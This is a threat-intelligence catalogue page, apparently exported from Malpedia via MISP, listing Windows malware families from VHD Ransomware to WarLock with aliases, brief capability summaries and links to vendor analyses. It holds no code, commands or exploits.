https://blog.malwarebytes.com/threat-analysis/2017/10/analyzing-malware-by-api-calls/

VHD Ransomware

The tag is: *misp-galaxy:malpedia="VHD Ransomware"*

VHD Ransomware is also known as:

Table 5523. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vhd_ransomware
https://twitter.com/GrujaRS/status/1241657443282825217
https://seguranca-informatica.pt/secrets-behind-the-lazaruss-vhd-ransomware/
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-sound-of-malware.html
https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-hermit-kingdoms-ransomware-play.html
https://securelist.com/apt-trends-report-q2-2020/97937/

VictoryGate

VictoryGate was the name of a cryptomining botnet, which was disrupted by ESET researchers in April 2020. The used malware itself was also referred to as VictoryGate. It was spotted in May 2019 and targeted mainly Latin American users, specifically, Peru (Criptonizando states 90% of the botnet publication residing there). Both public and private sectors were targeted. This cryptojacking malware was specialized in Monero (XRM) cryptocurrency. VictoryGate shows very strong code overlap with win.orchard.

The tag is: *misp-galaxy:malpedia="VictoryGate"*

VictoryGate is also known as:

Table 5524. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.victorygate
https://criptonizando.com/35-mil-computadores-foram-infectados-na-america-latina-por-malware-que-minerava-monero/
https://www.eset.com/int/about/newsroom/press-releases/research/eset-researchers-disrupt-cryptomining-botnet-victorygate/
https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam
https://www.welivesecurity.com/2020/04/23/eset-discovery-monero-mining-botnet-disrupted/

Vidar

Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.

The tag is: *misp-galaxy:malpedia="Vidar"*

Vidar is also known as:

Table 5525. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar
https://eln0ty.github.io/malware%20analysis/vidar/
https://docs.google.com/spreadsheets/d/1nx42rdMdkCrvlmACDi3CHseyG87iSV1Y6rGZYq_-oDk
https://www.esentire.com/blog/batloader-continues-to-abuse-google-search-ads-to-deliver-vidar-stealer-and-ursnif
https://www.trendmicro.com/en_us/research/25/e/tiktok-videos-infostealers.html
https://insights.loaderinsight.agency/posts/vidar-build-id-correlation/
https://threatpost.com/microsoft-help-files-vidar-malware/179078/
https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware
https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware
https://tccontre.blogspot.com/2019/03/infor-stealer-vidar-trojanspy-analysis.html
https://www.kroll.com/en/insights/publications/cyber/threat-actors-google-ads-deploy-vidar-stealer
https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468
https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion
https://censys.com/tracking-vidar-infrastructure/
https://embee-research.ghost.io/ghidra-basics-identifying-and-decoding-encrypted-strings/
https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper

https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/

https://www.logpoint.com/wp-content/uploads/2024/03/logpoint-etpr-a-comprehensive-overview-on-stealer-malware-families.pdf

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://asec.ahnlab.com/en/22932/

https://blog.cyble.com/2022/11/08/massive-youtube-campaign-targeting-over-100-applications-to-deliver-info-stealer/

https://aviab1.github.io/Vidar-Stealer/

https://malwarology.substack.com/p/malicious-packer-pkr_ce1a?r=1lslzd

https://censys.com/a-beginners-guide-to-hunting-open-directories/

https://ke-la.com/information-stealers-a-new-landscape/

https://viuleeenz.github.io/posts/2023/10/vidar-payload-inspection-with-static-analysis/

https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/

https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks

https://cert.pl/en/posts/2021/10/vidar-campaign/

https://medium.com/s2wlab/w1-feb-en-story-of-the-week-stealers-on-the-darkweb-49945a31601d

https://logpoint.com/hubfs/blog_assets/logpoint-etpr-a-comprehensive-overview-on-stealer-malware-families-1.pdf?hsLang=en

https://twitter.com/sisoma2/status/1409816282065743872

https://www.cisa.gov/sites/default/files/2023-11/aa23-320a_scattered_spider.pdf

https://asec.ahnlab.com/en/30875/

https://socprime.com/blog/somnia-malware-detection-uac-0118-aka-frwl-launches-cyber-attacks-against-organizations-in-ukraine-using-enhanced-malware-strains/

https://asec.ahnlab.com/en/30445/

https://twitter.com/GroupIB_GIB/status/1570821174736850945

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q3%20Botnet%20Threat%20Update.pdf

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf

https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/

https://www.cynet.com/blog/cyops-lighthouse-vidar-stealer/

https://www.gatewatcher.com/lab/utilisation-de-faux-profils-steam-vidar-prend-les-commandes/

https://www.trendmicro.com/en_us/research/21/i/fake-installers-drop-malware-and-open-doors-for-opportunistic-attackers.html

https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a

https://www.csoonline.com/article/3654849/microsoft-help-files-repurposed-to-contain-vidar-malware-in-new-campaign.html

https://www.youtube.com/watch?v=NI_Yw2t9zoo

https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf

https://community.emergingthreats.net/t/vidar-stealer-picks-up-steam/271

https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign

https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/

https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/

https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-batloader

https://medium.com/s2wlab/deep-analysis-of-vidar-stealer-ebfc3b557aed

https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/

https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem

https://blog.malwarebytes.com/threat-analysis/2019/01/vidar-gandcrab-stealer-and-ransomware-combo-observed-in-the-wild/

https://kienmanowar.wordpress.com/2022/12/17/quicknote-vidarstealer-analysis/

https://www.zscaler.com/blogs/security-research/vidar-distributed-through-backdoored-windows-11-downloads-and-abusing

https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/

https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-vidar-2c0a62a73087

https://xer0xe9.github.io/A-Case-of-Vidar-Infostealer-Part-2/

https://isc.sans.edu/diary/rss/28468

https://darktrace.com/blog/vidar-info-stealer-malware-distributed-via-malvertising-on-google

https://www.youtube.com/watch?v=lxdlNOaHJQA

https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145

https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-vidar-stealer

https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/

https://blog.minerva-labs.com/vidar-stealer-evasion-arsenal

https://m4lcode.github.io/malware%20analysis/vidar/

https://blog.jaalma.io/vidar-infostealer-analysis/

https://bluecyber.hashnode.dev/analysis-of-a-clickfix-malware-attack

https://research.checkpoint.com/2022/bumblebee-increasing-its-capacity-and-evolving-its-ttps/

https://www.quorumcyber.com/wp-content/uploads/2023/01/Malware-Analysis-Vidar.pdf

https://asec.ahnlab.com/ko/25837/

https://xer0xe9.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/
https://www.bleepingcomputer.com/news/security/fake-pixelmon-nft-site-infects-you-with-password-stealing-malware/
https://www.team-cymru.com/post/darth-vidar-the-aesir-strike-back
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://www.aryaka.com/docs/reports/vidar-infostealer-in-action.pdf
https://intel471.com/blog/privateloader-malware
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vidar-malware-launcher-concealed-in-help-file/
https://www.secureworks.com/research/the-growing-threat-from-infostealers
https://www.team-cymru.com/post/darth-vidar-the-dark-side-of-evolving-threat-infrastructure

VIGILANT CLEANER

Wiper malware discovered by Japanese security firm Mitsui Bussan Secure Directions (MBSD), which is assumed to target Japan, the host country of the 2021 Summer Olympics. In addition to targeting common file Office-related files, it specifically targets file types associated with the Japanese word processor Ichitaro.

The tag is: *misp-galaxy:malpedia="VIGILANT CLEANER"*

VIGILANT CLEANER is also known as:

- VIGILANT CHECKER

Table 5526. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vigilant_cleaner
https://blog.trendmicro.co.jp/archives/28319
https://blog.cyble.com/2021/08/02/a-deep-dive-analysis-of-a-new-wiper-malware-disguised-as-tokyo-olympics-document/
https://www.mbsd.jp/research/20210721/blog/
https://www.fortinet.com/blog/threat-research/wiper-malware-riding-tokyo-olympic-games
https://therecord.media/wiper-malware-targeting-japanese-pcs-discovered-ahead-of-tokyo-olympics-opening/

Vilsa Stealer

The tag is: *misp-galaxy:malpedia="Vilsa Stealer"*

Vilsa Stealer is also known as:

Table 5527. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vilsastealer
https://www.cyfirma.com/research/vilsa-stealer/

VIP Keylogger

The tag is: *misp-galaxy:malpedia="VIP Keylogger"*

VIP Keylogger is also known as:

Table 5528. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vipkeylogger
https://www.forcepoint.com/blog/x-labs/vipkeylogger-infostealer-malware
https://kienmanowar.wordpress.com/2025/11/25/phan-tich-nhanh-chien-dich-phishing-gia-mao-co-quan-thue-de-phat-tan-ma-doc/
https://mandarnaik016.in/blog/2025-10-25-malware-analysis-vip-keylogger-part2/

virdetdoor

The tag is: *misp-galaxy:malpedia="virdetdoor"*

virdetdoor is also known as:

Table 5529. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.virdetdoor
https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks

VirLock

Polymorphic parasitic file infecting virus which transforms files into copies of itself. Additionally it uses screen-locking as a ransomware technique.

The tag is: *misp-galaxy:malpedia="VirLock"*

VirLock is also known as:

Table 5530. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.virlock

https://www.gdatasoftware.com/blog/2019/06/31666-ransomware-identification-for-the-judicious-analyst
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-recap-january-14-29-2017
https://www.ciberseguridad.eus/sites/default/files/2022-04/bcsc-malware-virlock-tlpwhite_v1242.pdf
https://www.welivesecurity.com/2014/12/22/win32virlock-first-self-reproducing-ransomware-also-shape-shifter/
https://blogs.blackberry.com/en/2019/07/threat-spotlight-virlock-polymorphic-ransomware
https://www.virusbulletin.com/virusbulletin/2016/12/vb2015-paper-its-file-infector-its-ransomware-its-virlock/

VIRTUALGATE

The tag is: *misp-galaxy:malpedia="VIRTUALGATE"*

VIRTUALGATE is also known as:

Table 5531. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.virtualgate
https://norfolkinfosec.com/some-notes-on-virtualgate/

Virut

The tag is: *misp-galaxy:malpedia="Virut"*

Virut is also known as:

Table 5532. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.virut
https://www.secureworks.com/research/virut-encryption-analysis
https://www.virusbulletin.com/virusbulletin/2010/09/injection-way-life/
https://securelist.com/review-of-the-virus-win32-virut-ce-malware-sample/36305/
https://krebsonsecurity.com/2013/01/polish-takedown-targets-virut-botnet/
https://www.theregister.co.uk/2018/01/10/taiwanese_police_malware/
https://blog.malwarebytes.com/threat-analysis/2018/03/blast-from-the-past-stowaway-virut-delivered-with-chinese-ddos-bot/
https://www.mandiant.com/resources/pe-file-infecting-malware-ot

https://chrisdietri.ch/post/virut-resurrects/
https://www.spamhaus.org/news/article/690/cooperative-efforts-to-shut-down-virut-botnet

Vizom

The tag is: *misp-galaxy:malpedia="Vizom"*

Vizom is also known as:

Table 5533. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vizom
https://securityintelligence.com/posts/vizom-malware-targets-brazilian-bank-customers-remote-overlay/

Vjw0rm

VJW0rm (aka Vengeance Justice Worm) is a publicly available, modular JavaScript RAT. Vjw0rm was first released in November 2016 by its primary author, v_B01 (aka Sliemerez), within the prominent DevPoint Arabic-language malware development community. VJW0rm appears to be the JavaScript variant of a series of RATs with identical functionality released by the author throughout late 2016. Other variants include a Visual Basic Script (VBS) based worm titled vw0rm (Vengeance Worm), an AutoHotkey-based tool called vrw0rm (Vengeance Rise Worm), and a PowerShell-based variant called vdw0rm (Vengeance Depth Worm).

The tag is: *misp-galaxy:malpedia="Vjw0rm"*

Vjw0rm is also known as:

Table 5534. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vjw0rm
https://lifars.com/wp-content/uploads/2021/09/Vjw0rm-.pdf
https://twitter.com/tccontre18/status/1461386178528264204
https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel
https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf
https://appriver.com/resources/blog/november-2020/vjw0rm-back-new-tactics
https://bazaar.abuse.ch/browse/signature/Vjw0rm/
https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf

https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape
https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf
https://resources.securityscorecard.com/research/acasestudyofVjw0rm#page=1
https://community.riskiq.com/article/24759ad2

VM Zeus

The tag is: *misp-galaxy:malpedia="VM Zeus"*

VM Zeus is also known as:

- VMzeus
- Zberp
- ZeusVM

Table 5535. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vmzeus
https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/
https://securityintelligence.com/new-zberp-trojan-discovered-zeus-zbot-carberp/

Vobfus

Malware of this family searches for computers on a network and creates copies of itself in folders with open access. For the program to be activated, the user must first run it on the computer. The code of this malware is written in the Visual Basic programming language and uses obfuscation, which is a distinguishing feature of this family. Code obfuscation complicates attempts by anti-virus software to analyze suspected malware.

The tag is: *misp-galaxy:malpedia="Vobfus"*

Vobfus is also known as:

- Beebone

Table 5536. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vobfus
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/151/beebone-botnet-takedown-trend-micro-solutions
http://contagiodump.blogspot.com/2012/12/nov-2012-worm-vobfus-samples.html

https://blog.trendmicro.com/trendlabs-security-intelligence/whats-the-fuss-with-worm_vobfus/

Vohuk

The tag is: *misp-galaxy:malpedia="Vohuk"*

Vohuk is also known as:

Table 5537. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vohuk
https://github.com/MalGamy/YARA_Rules/blob/main/vohuk.yara
https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-vohuk-scarecrow-and-aerst-variants

Void

Ransomware.

The tag is: *misp-galaxy:malpedia="Void"*

Void is also known as:

- VoidCrypt

Table 5538. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.void
https://securelist.com/cis-ransomware/104452/
https://id-ransomware.blogspot.com/2020/04/void-voidcrypt-ransomware.html

Voidoor

The tag is: *misp-galaxy:malpedia="Voidoor"*

Voidoor is also known as:

Table 5539. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.voidoor
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-a-look-into-the-group-s-unconventional-techniques-new-attack-vectors-and-tools/#id4

VoidRAT

The tag is: *misp-galaxy:malpedia="VoidRAT"*

VoidRAT is also known as:

Table 5540. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.void_rat
https://resources.securityscorecard.com/research/technical-analysis-of-the-quasar-forked-rat-called-void-rat

Voldemort

Voldemort is a backdoor discovered by Proofpoint in August 2024. It is being distributed via phishing E-Mails and makes use of creative techniques such as using saved search files during the infection chain for obfuscation and Google Sheets for C2. While its broad targeting looks like it is related to ecrime, Proofpoint notes that the capabilities of the malware point towards espionage/APT activity.

The tag is: *misp-galaxy:malpedia="Voldemort"*

Voldemort is also known as:

Table 5541. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.voldemort
https://www.proofpoint.com/us/blog/threat-insight/malware-must-not-be-named-suspected-espionage-campaign-delivers-voldemort
https://x.com/threatinsight/status/1848745326884360548
https://www.proofpoint.com/us/blog/threat-insight/phish-china-aligned-espionage-actors-ramp-up-taiwan-semiconductor-targeting

Volgmer

The tag is: *misp-galaxy:malpedia="Volgmer"*

Volgmer is also known as:

- FALLCHILL
- Manuscrypt

Table 5542. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.volgmer
https://asec.ahnlab.com/ko/56256/
https://securelist.com/the-lazarus-group-deathnote-campaign/109490/
https://www.secureworks.com/research/threat-profiles/nickel-academy
https://asec.ahnlab.com/en/56405/
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://lifars.com/wp-content/uploads/2021/09/Lazarus.pdf
https://medium.com/s2wlab/analysis-of-threatneedle-c-c-communication-feat-google-tag-warning-to-researchers-782aa51cf74
https://drive.google.com/file/d/1XoGQFEJQ4nFAUXSGwcnTobviQ_ms35mG/view
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://securelist.com/lazarus-threatneedle/100803/
https://www.wiz.io/blog/north-korean-tradertraitor-crypto-heist
https://www.us-cert.gov/ncas/alerts/TA17-318B
https://securelist.com/apt-trends-report-q2-2020/97937/
https://securelist.com/operation-applejeus/87553/
https://drive.google.com/file/d/1lq0Sjw4FKBxf017Ss7W7uGMvs7CgFzcA/view
https://asec.ahnlab.com/en/57685/

Vovalex

Ransomware written in D.

The tag is: *misp-galaxy:malpedia="Vovalex"*

Vovalex is also known as:

Table 5543. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vovalex
https://twitter.com/malwrhunterteam/status/1351808079164276736
https://twitter.com/VK_Intel/status/1355196321964109824

Vreikstadi

The tag is: *misp-galaxy:malpedia="Vreikstadi"*

Vreikstadi is also known as:

Table 5544. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vreikstadi
https://twitter.com/malware_traffic/status/821483557990318080

VShell

VShell is an OST framework written in Go, enabling availability of implants for multiple platforms (Windows, Linux, macOS).

The tag is: *misp-galaxy:malpedia="VShell"*

VShell is also known as:

Table 5545. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vshell
https://blog.eclecticiq.com/china-nexus-nation-state-actors-exploit-sap-netweaver-cve-2025-31324-to-target-critical-infrastructures
https://www.trellix.com/blogs/research/the-silent-fileless-threat-of-vshell/
https://blog.nviso.eu/wp-content/uploads/2025/11/VShell.pdf
https://www.trendmicro.com/en_us/research/25/e/earth-lamia.html
https://sysdig.com/blog/unc5174-chinese-threat-actor-vshell/
https://github.com/veo/vshell
https://www.seqrite.com/blog/operation-dragonclone-chinese-telecom-veletrix-vshell-malware/

VSingle

The tag is: *misp-galaxy:malpedia="VSingle"*

VSingle is also known as:

Table 5546. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vsingle
https://blogs.jpcert.or.jp/en/2021/03/Lazarus_malware3.html
https://www.youtube.com/watch?v=nUjxH1gW53s
https://blogs.jpcert.or.jp/en/2022/07/vsingle.html
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/stonefly-north-korea-espionage
https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html

vSkimmer

The tag is: *misp-galaxy:malpedia="vSkimmer"*

vSkimmer is also known as:

Table 5547. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vskimmer
http://www.xylibox.com/2013/01/vskimmer.html
http://vkremez.weebly.com/cyber-security/-backdoor-win32hesetoxa-vskimmer-pos-malware-analysis
https://securingtomorrow.mcafee.com/mcafee-labs/vskimmer-botnet-targets-credit-card-payment-terminals/

Vulturi

Information stealer.

The tag is: *misp-galaxy:malpedia="Vulturi"*

Vulturi is also known as:

Table 5548. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vulturi
https://twitter.com/ViriBack/status/1430604948241276928?s=20

vxRat

The tag is: *misp-galaxy:malpedia="vxRat"*

vxRat is also known as:

Table 5549. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vx_rat
https://github.com/f3di006/vxRat

Vyveva RAT

Vyveva is a remote access trojan that uses the Tor library for communication with C&C. Its use of fake TLS for camouflaging the network traffic is one of the typical Lazarus traits.

It uses a simple XOR for encryption of its configuration and network traffic.

It sends detailed information about the victim's environment, like computer name, user name, IP, code page, Windows version, architecture, and time zone.

It supports more than 20 commands that include operations on the victim's filesystem, basic process management, command line execution, file exfiltration, and the download and memory execution of an additional DLL from the C&C (by calling the expected export SamIPromote). As in many RATs from Lazarus arsenal, the commands are indexed by 32-bit integers. The lowest index is 0x3, followed by 0x10, which goes incrementally up to 0x26. Also, it can monitor newly connected drives and the number of logged-on users.

It has MPRD.dll as the internal DLL name, and a single export SamIInitialize.

Vyveva RAT was used in an attack against a freight logistics company in South Africa in June 2020.

The tag is: *misp-galaxy:malpedia="Vyveva RAT"*

Vyveva RAT is also known as:

Table 5550. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vyveva
https://www.welivesecurity.com/2021/04/08/are-you-afreight-dark-watch-out-vyveva-new-lazarus-backdoor/

w32times

The tag is: *misp-galaxy:malpedia="w32times"*

w32times is also known as:

Table 5551. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.w32times
https://attack.mitre.org/wiki/Group/G0022

win.wabot

Wabot is an IRC worm that is written in Delphi.

The tag is: *misp-galaxy:malpedia="win.wabot"*

win.wabot is also known as:

Table 5552. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.wabot
https://blog.talosintelligence.com/2017/03/threat-roundup-0324-0331.html

wAgentTea

wAgentTea is an HTTP(S) downloader.

It was deployed mostly against South Korean targets like a pharmaceutical company (Q4 2020) or semiconductor industry (Q2 2023). In several cases, the initial access was obtained via exploitation of South Korean software like Initech's INISAFE CrossWeb EX or Dream Security's MagicLine4NX.

It uses AES-128 for encryption and decryption of its network traffic, and for decryption of its binary configuration.

There is a hard-coded list of parameter names used in its HTTP POST request: identy;tname;blogdata;content;thesis;method;bbs;level;maincode;tab;idx;tb;isbn;entry;doc; category;articles;portal

It contains a specific RTTI symbol ".?AVCHttp_socket@@".

The tag is: *misp-galaxy:malpedia="wAgentTea"*

wAgentTea is also known as:

- wAgent

Table 5553. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wagenttea
https://asec.ahnlab.com/wp-content/uploads/2023/10/20231013_Lazarus_OP.Dream_Magic.pdf
https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/
https://www.wiz.io/blog/north-korean-tradertraitor-crypto-heist
https://securelist.com/operation-synchole-watering-hole-attacks-by-lazarus/116326/
https://www.virusbulletin.com/uploads/pdf/conference/vb2023/papers/Lazarus-campaigns-and-backdoors-in-2022-2023.pdf
https://asec.ahnlab.com/en/33801/

Wainscot

The tag is: *misp-galaxy:malpedia="Wainscot"*

Wainscot is also known as:

Table 5554. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.wainscot
https://www.microsoft.com/en-us/security/blog/2024/12/04/frequent-freeloader-part-i-secret-blizzard-compromising-storm-0156-infrastructure-for-espionage/

WallyShack

The tag is: *misp-galaxy:malpedia="WallyShack"*

WallyShack is also known as:

Table 5555. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wallyshack
https://blog.malwarebytes.com/threat-analysis/2019/02/new-golang-brute-forcer-discovered-amid-rise-e-commerce-attacks/

WannaCryptor

WannaCry is ransomware that contains a worm component enabled by the EternalBlue exploit. It attempts to use vulnerabilities in the Windows SMBv1 server to remotely compromise systems, encrypt files, and spread to other hosts. Systems that have installed the MS17-010 patch are not vulnerable to the exploits used. The spreading was stopped about 8 hours after initial outbreak due to triggering a kill switch domain.

The tag is: *misp-galaxy:malpedia="WannaCryptor"*

WannaCryptor is also known as:

- Wana Decrypt0r
- WannaCry
- WannaCrypt
- Wcry

Table 5556. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://baesystemsai.blogspot.de/2017/05/wanacrypt0r-ransomworm.html
https://blog.malwarebytes.com/cybercrime/2017/05/how-did-wannacry-ransomworm-spread/
https://dissectingmalwa.re/third-times-the-charm-analysing-wannacry-samples.html
https://blog.comae.io/wannacry-decrypting-files-with-wanakiwi-demo-86bafb81112d
https://github.com/Hildaboo/WannaCryServerEmulator

https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group

https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170728/Guerrero-Saade-Raiu-VB2017.pdf

https://blog.gdatasoftware.com/2017/05/29751-wannacry-ransomware-campaign

https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/

https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168

https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://blog.comae.io/wannacry-new-variants-detected-b8908fefea7e

http://www.independent.co.uk/news/uk/home-news/wannacry-malware-hack-nhs-report-cybercrime-north-korea-uk-ben-wallace-a8022491.html

https://sites.temple.edu/care/ci-rw-attacks/

https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf

https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf

https://themoscowtimes.com/news/wcry-virus-reportedly-infects-russian-interior-ministrys-computer-network-57984

https://brandefense.io/blog/apt-groups/lazarus-apt-group-apt38/

https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf

https://www.il-pib.pl/czasopisma/JTIT/2019/1/113.pdf

https://github.com/0xZuk0/rules-of-yaras/blob/main/reports/Wannacry%20Ransomware%20Report.pdf

https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Kalnai-Poslusny.pdf

https://metaswan.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1

http://blog.emsisoft.com/2017/05/12/wcry-ransomware-outbreak/

https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/WannaCry-Aftershock.pdf

https://blog.avast.com/ransomware-that-infected-telefonica-and-nhs-hospitals-is-spreading-aggressively-with-over-50000-attacks-so-far-today

https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1

https://blog.comae.io/wannacry-the-largest-ransom-ware-infection-in-history-f37da8e30a58

https://securelist.com/blog/incidents/78351/wannacry-ransomware-used-in-widespread-attacks-all-over-the-world/

https://www.flashpoint-intel.com/blog/linguistic-analysis-wannacry-ransomware/

https://www.youtube.com/watch?v=Q90uZS3taG0

https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware
https://krebsonsecurity.com/2017/05/u-k-hospitals-hit-in-widespread-ransomware-attack/
https://securelist.com/big-threats-using-code-similarity-part-1/97239/
https://i.blackhat.com/eu-20/Wednesday/eu-20-Rivera-From-Zero-To-Sixty-The-Story-Of-North-Koreas-Rapid-Ascent-To-Becoming-A-Global-Cyber-Superpower.pdf
https://www.microsoft.com/security/blog/2017/05/12/wannacrypt-ransomware-worm-targets-out-of-date-systems/
https://news.sophos.com/en-us/2021/03/15/dearcry-ransomware-attacks-exploit-exchange-server-vulnerabilities/
https://news.sophos.com/en-us/2019/09/18/the-wannacry-hangover/
https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html

WannaHusky

According to Mars, WannaHusky is a Nim-compiled ransomware malware sample, created for demonstration purposes and provided as part of the Practical Malware Analysis & Triage course provided by HuskyHacks.

The tag is: *misp-galaxy:malpedia="WannaHusky"*

WannaHusky is also known as:

Table 5557. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wannahusky
https://medium.com/@mars0x/wannahusky-malware-analysis-w-yara-ttps-2069fb479909

WannaRen

Ransomware.

The tag is: *misp-galaxy:malpedia="WannaRen"*

WannaRen is also known as:

Table 5558. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wannaren
https://id-ransomware.blogspot.com/2020/03/wannaren-ransomware.html

Warezov

The tag is: *misp-galaxy:malpedia="Warezov"*

Warezov is also known as:

- Opnis
- Stration

Table 5559. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.warezov
https://www.secureworks.com/research/warezov

WarHawk

The tag is: *misp-galaxy:malpedia="WarHawk"*

WarHawk is also known as:

Table 5560. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.warhawk
https://www.zscaler.com/blogs/security-research/warhawk-new-backdoor-arsenal-sidewinder-apt-group
https://mp.weixin.qq.com/s/ewGyvlmWUD45XTVsoxeVpg

WarLock

The tag is: *misp-galaxy:malpedia="WarLock"*

WarLock is also known as:

Table 5561. Table References

Links
